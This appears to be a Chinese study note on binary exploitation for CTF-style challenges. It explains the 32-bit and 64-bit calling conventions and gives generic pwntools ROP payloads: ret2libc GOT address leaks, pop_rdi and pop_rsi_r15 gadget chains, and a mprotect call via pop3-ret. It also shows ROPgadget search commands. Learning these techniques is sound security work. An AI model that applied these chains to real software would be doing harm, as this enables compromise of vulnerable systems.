32位依次将子函数的参数从左到右入栈然后再压栈eip和ebp
【payload = b'a'*(0xe7+4)+p32(write_plt)+p32(p_main) + p32(1)+p32(write_got)+p32(4)】(调用write函数输出write_got地址)
64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:$rdi $rsi $rdx $rcx $r8 $r9(所以我们需要rdi-ret指令传递函数参数或者可能多个参数时还需要pop3-ret[三个pop加一个ret将多个参数传递])
#########只需要rdi-ret传递一个参数:
【payload = b'a'*(0x50+8) + p64(rdi_addr) + p64(puts_got)+p64(puts_plt)+p64(main_addr)[将puts_got作为参数传递到puts_plt函数执行输出puts_got地址,最后栈上还剩main_addr即返回到main函数继续执行以便发送第二次payload(ret2libc)]】
#########需要rdi,rsi,r15_ret传递多个参数:
payload =b 'a'*0x28+p64(pop_rdi) + p64(format_str) + p64(pop_rsi_r15) + p64(read_got) +p64(0) + p64(printf_plt) + p64(main_addr)
【1.p64(pop_rdi)+p64(format_str)–>我们在原本语句的返回地址上写入了pop_rdi,ret,pop_rdi,对应参数format_str,执行后将formast_str的值设置给了rdi,之后执行ret(返回指令)
2.p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址,pop_r15对应参数0,由于我们不用r15,设置成0】
#########需要pop3-ret传递三个参数:
【payload = b'a'*(0x2d+4)+ p32(mprotect_addr)+ p32(pop3_ret_addr) +p32(addr) + p32(0x100)+p32(0x7)】[利用pop3_ret将mprotect函数所需三个参数传递过去]
需要找相关寄存器使用:
ROPgadget --binary ‘文件名’ --string “xxxxx“(用来搜索字符串地址)
ROPgadget --binary ‘文件名’ --only 'pop|ret' grep "寄存器名" (用来搜索寄存器地址)